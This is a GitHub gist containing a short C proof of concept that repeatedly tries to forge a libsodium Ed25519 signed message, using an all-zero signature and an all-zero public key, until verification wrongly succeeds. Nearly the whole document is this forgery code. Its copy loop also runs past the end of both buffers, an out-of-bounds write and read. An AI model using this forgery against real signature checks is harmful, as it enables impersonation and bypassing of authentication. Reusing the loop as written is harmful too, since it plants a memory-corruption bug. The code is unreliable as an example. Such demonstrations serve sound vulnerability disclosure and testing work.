Created
January 24, 2014 13:51
-
-
Save orlp/8597602 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <sodium.h> | |
| int main(int argc, char **argv) { | |
| int tries = 1; | |
| sodium_init(); | |
| while (1) { | |
| unsigned char zero_public_key[crypto_sign_PUBLICKEYBYTES] = {0}; | |
| unsigned char random_public_key[crypto_sign_PUBLICKEYBYTES]; | |
| unsigned char signed_message[crypto_sign_BYTES + crypto_sign_PUBLICKEYBYTES]; | |
| unsigned char dontcare[1024]; | |
| unsigned long long message_len, signed_message_len; | |
| int i; | |
| // generate a random public key | |
| crypto_sign_keypair(random_public_key, dontcare); | |
| // forge a signed message with a signature of 0 and a random public key as a message | |
| for (i = 0; i < 64; ++i) { | |
| signed_message[i] = 0; | |
| } | |
| for (i = 0; i < sizeof(signed_message); ++i) { | |
| signed_message[64 + i] = random_public_key[i]; | |
| } | |
| signed_message_len = sizeof(signed_message); | |
| // attempt to verify | |
| if (!crypto_sign_open(dontcare, &message_len, signed_message, signed_message_len, zero_public_key)) { | |
| printf("Oops! A forged message verified after %d tries.\n", tries); | |
| break; | |
| } | |
| tries++; | |
| } | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment